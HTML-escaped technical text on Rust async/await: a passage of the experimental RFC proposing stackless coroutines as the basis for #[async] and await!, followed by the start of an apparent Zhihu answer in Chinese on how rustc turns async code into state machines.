&lt;li&gt;&lt;code&gt;await!&lt;&#x2F;code&gt; is usable inside of an &lt;code&gt;#[async]&lt;&#x2F;code&gt; function to block on a future. The &lt;code&gt;TcpStream::connect&lt;&#x2F;code&gt; function here can be thought of as returning a future of a connected TCP stream, and &lt;code&gt;await!&lt;&#x2F;code&gt; will block execution of the &lt;code&gt;print_lines&lt;&#x2F;code&gt; function until it becomes available. Note the trailing &lt;code&gt;?&lt;&#x2F;code&gt; propagates errors as the &lt;code&gt;?&lt;&#x2F;code&gt; does today.&lt;&#x2F;li&gt;
&lt;li&gt;Finally we can implement more goodies like &lt;code&gt;#[async]for&lt;&#x2F;code&gt; loops which operate over the &lt;code&gt;Stream&lt;&#x2F;code&gt; trait in the &lt;code&gt;futures&lt;&#x2F;code&gt; crate. You could also imagine pieces like &lt;code&gt;async!&lt;&#x2F;code&gt; blocks which are akin to &lt;code&gt;catch&lt;&#x2F;code&gt; for &lt;code&gt;?&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The intention with this syntax is to be as familiar as possible to existing Rust programmers and disturb control flow as little as possible. To that end all that&#x27;s needed is to tag functions that may block (e.g. return a future) with &lt;code&gt;#[async]&lt;&#x2F;code&gt; and then use &lt;code&gt;await!&lt;&#x2F;code&gt; internally whenever blocking is needed.&lt;&#x2F;p&gt;
&lt;p&gt;Another critical detail here is that the API exposed by async&#x2F;await is quite minimal! You&#x27;ll note that this RFC is an experimental RFC for coroutines and we haven&#x27;t mentioned coroutines at all with the syntax! This is an intentional design decision to keep the implementation of &lt;code&gt;#[async]&lt;&#x2F;code&gt; and &lt;code&gt;await!&lt;&#x2F;code&gt; as flexible as possible.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;suspending-in-async-await&quot;&gt;Suspending in async&#x2F;await&lt;&#x2F;h4&gt;
&lt;p&gt;With a rough syntax in mind the next question was how do we actually suspend these futures? The function above will desugar to:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn print_lines() -&amp;gt; impl Future&amp;lt;Item = (), Error = io::Error&amp;gt; {
    &amp;#x2F;&amp;#x2F; ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and this means that we need to create a &lt;code&gt;Future&lt;&#x2F;code&gt;&lt;em&gt;somehow&lt;&#x2F;em&gt;. If written with combinators today we might desugar this to:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn print_lines() -&amp;gt; impl Future&amp;lt;Item = (), Error = io::Error&amp;gt; {
    lazy(|| {
        let addr = &amp;quot;127.0.0.1:8080&amp;quot;.parse().unwrap();
        TcpStream::connect(&amp;amp;addr).and_then(|tcp| {
            let io = BufReader::new(tcp);

            io.lines().for_each(|line| {
                println!(&amp;quot;{}&amp;quot;, line);
                Ok(())
            })
        })
    })
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Unfortunately this is actually quite a difficult transformation to do (translating to combinators) and it&#x27;s actually not quite as optimal as we might like! We can see here though some important points about the semantics that we expect:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;When called, &lt;code&gt;print_lines&lt;&#x2F;code&gt; doesn&#x27;t actually do anything. It immediately just returns a future, in this case created via &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;futures&#x2F;0.1.14&#x2F;futures&#x2F;future&#x2F;fn.lazy.html&quot;&gt;&lt;code&gt;lazy&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;When &lt;code&gt;Future::poll&lt;&#x2F;code&gt; is first called, it&#x27;ll create the &lt;code&gt;addr&lt;&#x2F;code&gt; and then call &lt;code&gt;TcpStream::connect&lt;&#x2F;code&gt;. Further calls to &lt;code&gt;Future::poll&lt;&#x2F;code&gt; will then delegate to the future returned by &lt;code&gt;TcpStream::connect&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;After we&#x27;ve connected (the &lt;code&gt;connect&lt;&#x2F;code&gt; future resolves) we continue our execution with further combinators, blocking on each line being read from the socket.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;A major benefit of the desugaring above is that there are no hidden allocations. Combinators like &lt;code&gt;lazy&lt;&#x2F;code&gt;, &lt;code&gt;and_then&lt;&#x2F;code&gt;, and &lt;code&gt;for_each&lt;&#x2F;code&gt; don&#x27;t add that sort of overhead. A problem, however, is that there&#x27;s a bunch of nested state machines here (each combinator is its own state machine). This means that our in-memory representation can be a bit larger than it needs to be and take some time to traverse. Finally, this is also very difficult for an &lt;code&gt;#[async]&lt;&#x2F;code&gt; implementation to generate! It&#x27;s unclear how, with unusual control flow, you&#x27;d implement all the paradigms.&lt;&#x2F;p&gt;
&lt;p&gt;Before we go on to our final solution below it&#x27;s worth pointing out that a popular solution to this problem of generating a future is to side step this completely with the concept of green threads. With a green thread you can suspend a thread by simply context switching away and there&#x27;s no need to generate state and such as an allocated stack implicitly holds all this state. While this does indeed solve our problem of &quot;how do we translate &lt;code&gt;#[async]&lt;&#x2F;code&gt; functions&quot; it unfortunately violates Rust&#x27;s general theme of &quot;zero cost abstractions&quot; because the allocated stack on the side can be quite costly.&lt;&#x2F;p&gt;
&lt;p&gt;At this point we&#x27;ve got some decent syntax and rough (albeit hard) way we want to translate our &lt;code&gt;#[async]&lt;&#x2F;code&gt; functions into futures. We&#x27;ve also ruled out traditional solutions like green threads due to their costs, so we just need a way to easily create the optimal state machine for a future that combinators would otherwise emulate.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;state-machines-as-stackless-coroutines&quot;&gt;State machines as &quot;stackless coroutines&quot;&lt;&#x2F;h4&gt;
&lt;p&gt;Up to this point we haven&#x27;t actually mentioned coroutines all that much which after all is the purpose of this RFC! The intention of the above motivation, however, is to provide a strong case for &lt;em&gt;why coroutines?&lt;&#x2F;em&gt;  At this point, though, this RFC will mostly do a lot of hand-waving. It should suffice to say, though, that the feature of &quot;stackless coroutines&quot; in the compiler is precisely targeted at generating the state machine we wanted to write by hand above, solving our problem!&lt;&#x2F;p&gt;
&lt;p&gt;Coroutines are, however, a little lower level than futures themselves. The stackless coroutine feature can be used not only for futures but also other language primitives like iterators. As a result let&#x27;s take a look at what a hypothetical translation of our original &lt;code&gt;#[async]&lt;&#x2F;code&gt; function might look like. Keep in mind that this is not a specification of syntax, it&#x27;s just a strawman possibility for how we&#x27;d write the above.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn print_lines() -&amp;gt; impl Future&amp;lt;Item = (), Error = io::Error&amp;gt; {
    CoroutineToFuture(|| {
        let addr = &amp;quot;127.0.0.1:8080&amp;quot;.parse().unwrap();
        let tcp = {
            let mut future = TcpStream::connect(&amp;amp;addr);
            loop {
                match future.poll() {
                    Ok(Async::Ready(e)) =&amp;gt; break Ok(e),
                    Ok(Async::NotReady) =&amp;gt; yield,
                    Err(e) =&amp;gt; break Err(e),
                }
            }
        }?;

        let io = BufReader::new(tcp);

        let mut stream = io.lines();
        loop {
            let line = {
                match stream.poll()? {
                    Async::Ready(Some(e)) =&amp;gt; e,
                    Async::Ready(None) =&amp;gt; break,
                    Async::NotReady =&amp;gt; {
                        yield;
                        continue
                    }
                }
            };
            println!(&amp;quot;{}&amp;quot;, line);
        }

        Ok(())
    })
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The most prominent addition here is the usage of &lt;code&gt;yield&lt;&#x2F;code&gt; keywords. These are inserted here to inform the compiler that the coroutine should be suspended for later resumption. Here this happens precisely where futures are themselves &lt;code&gt;NotReady&lt;&#x2F;code&gt;. Note, though, that we&#x27;re not working directly with futures (we&#x27;re working with coroutines!). That leads us to this funky &lt;code&gt;CoroutineToFuture&lt;&#x2F;code&gt; which might look like so:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct CoroutineToFuture&amp;lt;T&amp;gt;(T);

impl&amp;lt;T: Coroutine&amp;gt; Future for CoroutineToFuture {
    type Item = T::Item;
    type Error = T::Error;

    fn poll(&amp;amp;mut self) -&amp;gt; Poll&amp;lt;T::Item, T::Error&amp;gt; {
        match Coroutine::resume(&amp;amp;mut self.0) {
            CoroutineStatus::Return(Ok(result)) =&amp;gt; Ok(Async::Ready(result)),
            CoroutineStatus::Return(Err(e)) =&amp;gt; Err(e),
            CoroutineStatus::Yield =&amp;gt; Ok(Async::NotReady),
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that some details here are elided, but the basic idea is that we can pretty easily translate all coroutines into futures through a small adapter struct.&lt;&#x2F;p&gt;
&lt;p&gt;As you may be able to tell by this point, we&#x27;ve now solved our problem of code generation! This last transformation of &lt;code&gt;#[async]&lt;&#x2F;code&gt; to coroutines is much more straightforward than the translations above, and has in fact &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alexcrichton&#x2F;futures-await&quot;&gt;already been implemented&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;To reiterate where we are at this point, here&#x27;s some of the highlights:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;One of Rust&#x27;s roadmap goals for 2017 is pushing Rust&#x27;s usage on the server.&lt;&#x2F;li&gt;
&lt;li&gt;A major part of this goal is going to be implementing async&#x2F;await syntax for Rust with futures.&lt;&#x2F;li&gt;
&lt;li&gt;The async&#x2F;await syntax has a relatively straightforward syntactic definition (borrowed from other languages) with procedural macros.&lt;&#x2F;li&gt;
&lt;li&gt;The procedural macro itself can produce optimal futures through the usage of &lt;em&gt;stackless coroutines&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Put another way: if the compiler implements stackless coroutines as a feature, we have now achieved async&#x2F;await syntax!&lt;&#x2F;p&gt;
&lt;h4 id=&quot;features-of-stackless-coroutines&quot;&gt;Features of stackless coroutines&lt;&#x2F;h4&gt;
&lt;p&gt;At this point we&#x27;ll start to tone down the emphasis of servers and async I&#x2F;O when talking about stackless coroutines. It&#x27;s important to keep them in mind though as motivation for coroutines as they guide the design constraints of coroutines in the compiler.&lt;&#x2F;p&gt;
&lt;p&gt;At a high-level, though, stackless coroutines in the compiler would be implemented as:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;No implicit memory allocation&lt;&#x2F;li&gt;
&lt;li&gt;Coroutines are translated to state machines internally by the compiler&lt;&#x2F;li&gt;
&lt;li&gt;The standard library has the traits&#x2F;types necessary to support the coroutines language feature.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Beyond this, though, there aren&#x27;t many other constraints at this time. Note that a critical feature of async&#x2F;await is that &lt;strong&gt;the syntax of stackless coroutines isn&#x27;t all that important&lt;&#x2F;strong&gt;. In other words, the implementation detail of coroutines isn&#x27;t actually exposed through the &lt;code&gt;#[async]&lt;&#x2F;code&gt; and &lt;code&gt;await!&lt;&#x2F;code&gt; definitions above. They purely operate with &lt;code&gt;Future&lt;&#x2F;code&gt; and simply work internally with coroutines. This means that if we can all broadly agree on async&#x2F;await there&#x27;s no need to bikeshed and delay coroutines. Any implementation of coroutines should be easily adaptable to async&#x2F;await syntax.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;detailed-design&quot;&gt;Detailed design&lt;&#x2F;h3&gt;
&lt;p&gt;Alright hopefully now we&#x27;re all pumped to get coroutines into the compiler so we can start playing around with async&#x2F;await on the nightly channel. This RFC, however, is explicitly an &lt;strong&gt;experimental RFC&lt;&#x2F;strong&gt; and is not intended to be a reference for stability. It is not intended that stackless coroutines will ever become a stable feature of Rust without a further RFC. As coroutines are such a large feature, however, testing the feature and gathering usage data needs to happen on the nightly channel, meaning we need to land something in the compiler!&lt;&#x2F;p&gt;
&lt;p&gt;This RFC is different from the previous &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;1823&quot;&gt;RFC 1823&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;1832&quot;&gt;RFC 1832&lt;&#x2F;a&gt; in that this detailed design section will be mostly devoid of implementation details for generators. This is intentionally done so to avoid bikeshedding about various bits of syntax related to coroutines. While critical to stabilization of coroutines these features are, as explained earlier, irrelevant to the &quot;apparent stability&quot; of async&#x2F;await and can be determined at a later date once we have more experience with coroutines.&lt;&#x2F;p&gt;
&lt;p&gt;In other words, the intention of this RFC is to emphasize that point that &lt;strong&gt;we will focus on adding async&#x2F;await through procedural macros and coroutines&lt;&#x2F;strong&gt;. The driving factor for stabilization is the real-world and high-impact use case of async&#x2F;await, and zero-cost futures will be an overall theme of the continued work here.&lt;&#x2F;p&gt;
&lt;p&gt;It&#x27;s worth briefly mentioning, however, some high-level design goals of the concept of stackless coroutines:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Coroutines should be compatible with libcore. That is, they should not require any runtime support along the lines of allocations, intrinsics, etc.&lt;&#x2F;li&gt;
&lt;li&gt;As a result, coroutines will roughly compile down to a state machine that&#x27;s advanced forward as its resumed. Whenever a coroutine yields it&#x27;ll leave itself in a state that can be later resumed from the yield statement.&lt;&#x2F;li&gt;
&lt;li&gt;Coroutines should work similarly to closures in that they allow for capturing variables and don&#x27;t impose dynamic dispatch costs. Each coroutine will be compiled separately (monomorphized) in the way that closures are today.&lt;&#x2F;li&gt;
&lt;li&gt;Coroutines should also support some method of communicating arguments in and out of itself. For example when yielding a coroutine should be able to yield a value. Additionally when resuming a coroutine may wish to require a value is passed in on resumption.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;As a reference point @Zoxc has implemented generators in a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Zoxc&#x2F;rust&#x2F;tree&#x2F;gen&quot;&gt;fork of rustc&lt;&#x2F;a&gt;, and has been a critical stepping stone in experimenting with the &lt;code&gt;#[async]&lt;&#x2F;code&gt; macro in the motivation section. This implementation may end up being the original implementation of coroutines in the compiler, but if so it may still change over time.&lt;&#x2F;p&gt;
&lt;p&gt;One important note is that we haven&#x27;t had many experimental RFCs yet, so this process is still relatively new to us! We hope that this RFC is lighter weight and can go through the RFC process much more quickly as the ramifications of it landing are much more minimal than a new stable language feature being added.&lt;&#x2F;p&gt;
&lt;p&gt;Despite this, however, there is also a desire to think early on about corner cases that language features run into and plan for a sort of reference test suite to exist ahead of time. Along those lines this RFC proposes a list of tests accompanying any initial implementation of coroutines in the compiler, covering. Finally this RFC also proposes a list of unanswered questions related to coroutines which likely wish to be considered before stabilization&lt;&#x2F;p&gt;
&lt;h6 id=&quot;open-questions-coroutines&quot;&gt;Open Questions - coroutines&lt;&#x2F;h6&gt;
&lt;ul&gt;
&lt;li&gt;What is the precise syntax for coroutines?&lt;&#x2F;li&gt;
&lt;li&gt;How are coroutines syntactically and functionally constructed?&lt;&#x2F;li&gt;
&lt;li&gt;What do the traits related to coroutines look like?&lt;&#x2F;li&gt;
&lt;li&gt;Is &quot;coroutine&quot; the best name?&lt;&#x2F;li&gt;
&lt;li&gt;Are coroutines sufficient for implementing iterators?&lt;&#x2F;li&gt;
&lt;li&gt;How do various traits like &quot;the coroutine trait&quot;, the &lt;code&gt;Future&lt;&#x2F;code&gt; trait, and &lt;code&gt;Iterator&lt;&#x2F;code&gt; all interact? Does coherence require &quot;wrapper struct&quot; instances to exist?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;open-questions-async-await&quot;&gt;Open Questions - async&#x2F;await&lt;&#x2F;h6&gt;
&lt;ul&gt;
&lt;li&gt;Is using a syntax extension too much considered to be creating a &quot;sub-language&quot;? Does async&#x2F;await usage feel natural in Rust?&lt;&#x2F;li&gt;
&lt;li&gt;What precisely do you write in a signature of an async function? Do you mention the future aspect?&lt;&#x2F;li&gt;
&lt;li&gt;Can &lt;code&gt;Stream&lt;&#x2F;code&gt; implementations be created with similar syntax? Is async&#x2F;await with coroutines too specific to futures?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;tests-basic-usage&quot;&gt;Tests - Basic usage&lt;&#x2F;h6&gt;
&lt;ul&gt;
&lt;li&gt;Coroutines which don&#x27;t yield at all and immediately return results&lt;&#x2F;li&gt;
&lt;li&gt;Coroutines that yield once and then return a result&lt;&#x2F;li&gt;
&lt;li&gt;Creating a coroutine which closes over a value, and then returning it&lt;&#x2F;li&gt;
&lt;li&gt;Returning a captured value after one yield&lt;&#x2F;li&gt;
&lt;li&gt;Destruction of a coroutine drops closed over variables&lt;&#x2F;li&gt;
&lt;li&gt;Create a coroutine, don&#x27;t run it, and drop it&lt;&#x2F;li&gt;
&lt;li&gt;Coroutines are &lt;code&gt;Send&lt;&#x2F;code&gt; and &lt;code&gt;Sync&lt;&#x2F;code&gt; like closures are wrt captured variables&lt;&#x2F;li&gt;
&lt;li&gt;Create a coroutine on one thread, run it on another&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;tests-basic-compile-failures&quot;&gt;Tests - Basic compile failures&lt;&#x2F;h6&gt;
&lt;ul&gt;
&lt;li&gt;Coroutines cannot close over data that is destroyed before the coroutine is itself destroyed.&lt;&#x2F;li&gt;
&lt;li&gt;Coroutines closing over non-&lt;code&gt;Send&lt;&#x2F;code&gt; data are not &lt;code&gt;Send&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;test-interesting-control-flow&quot;&gt;Test - Interesting control flow&lt;&#x2F;h6&gt;
&lt;ul&gt;
&lt;li&gt;Yield inside of a &lt;code&gt;for&lt;&#x2F;code&gt; loop a set number of times&lt;&#x2F;li&gt;
&lt;li&gt;Yield on one branch of an &lt;code&gt;if&lt;&#x2F;code&gt; but not the other (take both branches here)&lt;&#x2F;li&gt;
&lt;li&gt;Yield on one branch of an &lt;code&gt;if&lt;&#x2F;code&gt; inside of a &lt;code&gt;for&lt;&#x2F;code&gt; loop&lt;&#x2F;li&gt;
&lt;li&gt;Yield inside of the condition expression of an &lt;code&gt;if&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;tests-panic-safety&quot;&gt;Tests - Panic safety&lt;&#x2F;h6&gt;
&lt;ul&gt;
&lt;li&gt;Panicking in a coroutine doesn&#x27;t kill everything&lt;&#x2F;li&gt;
&lt;li&gt;Resuming a panicked coroutine is memory safe&lt;&#x2F;li&gt;
&lt;li&gt;Panicking drops local variables correctly&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;tests-debuginfo&quot;&gt;Tests - Debuginfo&lt;&#x2F;h6&gt;
&lt;ul&gt;
&lt;li&gt;Inspecting variables before&#x2F;after yield points works&lt;&#x2F;li&gt;
&lt;li&gt;Breaking before&#x2F;after yield points works&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Suggestions for more test are always welcome!&lt;&#x2F;p&gt;
&lt;h3 id=&quot;how-we-teach-this&quot;&gt;How We Teach This&lt;&#x2F;h3&gt;
&lt;p&gt;Coroutines are not, and will not become a stable language feature as a result of this RFC. They are primarily designed to be used through async&#x2F;await notation and are otherwise transparent. As a result there are no specific plans at this time for teaching coroutines in Rust. Such plans must be formulated, however, prior to stabilization.&lt;&#x2F;p&gt;
&lt;p&gt;Nightly-only documentation will be available as part of the unstable book about basic usage of coroutines and their abilities, but it likely won&#x27;t be exhaustive or the best learning for resource for coroutines yet.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;drawbacks&quot;&gt;Drawbacks&lt;&#x2F;h3&gt;
&lt;p&gt;Coroutines are themselves a significant feature for the compiler. This in turns brings with it maintenance burden if the feature doesn&#x27;t pan out and can otherwise be difficult to design around. It is thought, though, that coroutines are highly likely to pan out successfully with futures and async&#x2F;await notation and are likely to be coalesced around as a stable compiler feature.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;alternatives&quot;&gt;Alternatives&lt;&#x2F;h3&gt;
&lt;p&gt;The alternatives to list here, as this is an experimental RFC, are more targeted as alternatives to the motivation rather than the feature itself here. Along those lines, you could imagine quite a few alternatives to the goal of tackling the 2017 roadmap goal targeted in this RFC. There&#x27;s quite a bit of discussion on the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;2033&quot;&gt;original rfc thread&lt;&#x2F;a&gt;, but some highlight alternatives are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Stackful coroutines&quot; aka green threads. This strategy has, however, been thoroughly explored in historical versions of Rust. Rust long ago had green threads and libgreen, and consensus was later reached that it should be removed. There are many tradeoffs with an approach like this, but it&#x27;s safe to say that we&#x27;ve definitely gained a lot of experimental and anecdotal evidence historically!&lt;&#x2F;li&gt;
&lt;li&gt;User-mode-scheduling is another possibility along the line of green threads. Unfortunately this isn&#x27;t implemented in all mainstream operating systems (Linux&#x2F;Mac&#x2F;Windows) and as a result isn&#x27;t a viable alternative at this time.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2015&#x2F;p0114r0.pdf&quot;&gt;&quot;Resumable expressions&quot;&lt;&#x2F;a&gt; is a proposal in C++ which attempts to deal with some of the &quot;viral&quot; concerns of async&#x2F;await, but it&#x27;s unclear how applicable or easy it would apply to Rust.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Overall while there are a number of alternatives, the most plausible ones have a large amount of experimental and anecdotal evidence already (green threads&#x2F;stackful coroutines). The next-most-viable alternative (stackless coroutines) we do not have much experience with. As a result it&#x27;s believed that it&#x27;s time to explore and experiment with an alternative to M:N threading with stackless coroutines, and continue to push on the 2017 roadmap goal.&lt;&#x2F;p&gt;
&lt;p&gt;Some more background about this motivation for exploring async&#x2F;await vs alternatives can also be found &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;2033#issuecomment-309603972&quot;&gt;in a comment on the RFC thread&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;unresolved-questions&quot;&gt;Unresolved questions&lt;&#x2F;h3&gt;
&lt;p&gt;The precise semantics, timing, and procedure of an experimental RFC are still somewhat up in the air. It may be unclear what questions need to be decided on as part of an experimental RFC vs a &quot;real RFC&quot;. We&#x27;re hoping, though, that we can smooth out this process as we go along!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;rustzhong-asyncdai-ma-kuai-he-async-fnshi-zen-me-bian-yi-cheng-zhuang-tai-ji-de&quot;&gt;rust中async代码块和async fn是怎么编译成状态机的？&lt;&#x2F;h2&gt;
&lt;p&gt;Rust编译器（rustc）会通过HIR -&amp;gt; MIR -&amp;gt; LLVM IR的方式将Rust源码向更低层级的代码一层层转换，直至LLVM的IR，然后提交给LLVM编译为可执行的机器码。&lt;&#x2F;p&gt;
&lt;p&gt;对于async代码块的处理应该是在MIR层，先转换为generator，然后从generator转换为&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E7%8A%B6%E6%80%81%E6%9C%BA&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;状态机&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;代码位于：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;blob&#x2F;master&#x2F;compiler&#x2F;rustc_mir_transform&#x2F;src&#x2F;generator.rs&quot;&gt;rust&#x2F;generator.rs at master · rust-lang&#x2F;rust&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我没有仔细研究过（因为对rustc以及Rust的IR不熟悉，感觉会耗费很多时间），但从函数名粗略看一下，大体逻辑是类似的。比如&lt;code&gt;locals_live_across_suspend_points&lt;&#x2F;code&gt;是用来计算跨越&lt;code&gt;await&lt;&#x2F;code&gt;的本地变量保存在状态机中，&lt;code&gt;insert_switch&lt;&#x2F;code&gt;将原先顺序的函数主体修改为一个&lt;code&gt;switch&lt;&#x2F;code&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E5%88%86%E6%94%AF%E7%BB%93%E6%9E%84&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;分支结构&lt;&#x2F;a&gt;用于多次重入。&lt;&#x2F;p&gt;
&lt;p&gt;个人觉得，如果不是做编译器开发，没有必要研究得非常深入，因为对日常开发影响也不大。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;首先需要弄明白为什么要改写为状态机。&lt;&#x2F;p&gt;
&lt;p&gt;一个普通的函数，入参以及&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E5%B1%80%E9%83%A8%E5%8F%98%E9%87%8F&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;局部变量&lt;&#x2F;a&gt;都保存在当前栈上，当函数返回时，会清空当前栈。&lt;&#x2F;p&gt;
&lt;p&gt;如果是一个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E5%BC%82%E6%AD%A5%E5%87%BD%E6%95%B0&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;异步函数&lt;&#x2F;a&gt;，在&lt;code&gt;await&lt;&#x2F;code&gt;时可能提前返回，如果清空当前的栈就会丢失信息，再重入时无法找回原来的数据。&lt;&#x2F;p&gt;
&lt;p&gt;解决方案有两种：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E6%9C%89%E6%A0%88%E5%8D%8F%E7%A8%8B&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;有栈协程&lt;&#x2F;a&gt;。采用一个独立的栈来保存执行上下文，这样返回时栈上数据不会丢失。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E6%97%A0%E6%A0%88%E5%8D%8F%E7%A8%8B&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;无栈协程&lt;&#x2F;a&gt;。用状态机保存必要的入参以及局部变量，放到堆上，当函数重入时，通过状态找回需要执行的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.zhihu.com&#x2F;search?q=%E4%BB%A3%E7%A0%81%E6%AE%B5&amp;amp;search_source=Entity&amp;amp;hybrid_search_source=Entity&amp;amp;hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A2872340628%7D&quot;&gt;代码段&lt;&#x2F;a&gt;，然后驱动状态机的状态流转，直到返回最终结果。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我试试用一个例子解释下。&lt;&#x2F;p&gt;
&lt;p&gt;假设有一个&lt;code&gt;flow&lt;&#x2F;code&gt;异步函数，会依次调用&lt;code&gt;step0&lt;&#x2F;code&gt;，&lt;code&gt;step1&lt;&#x2F;code&gt;和&lt;code&gt;step2&lt;&#x2F;code&gt;，然后输出结果。&lt;&#x2F;p&gt;
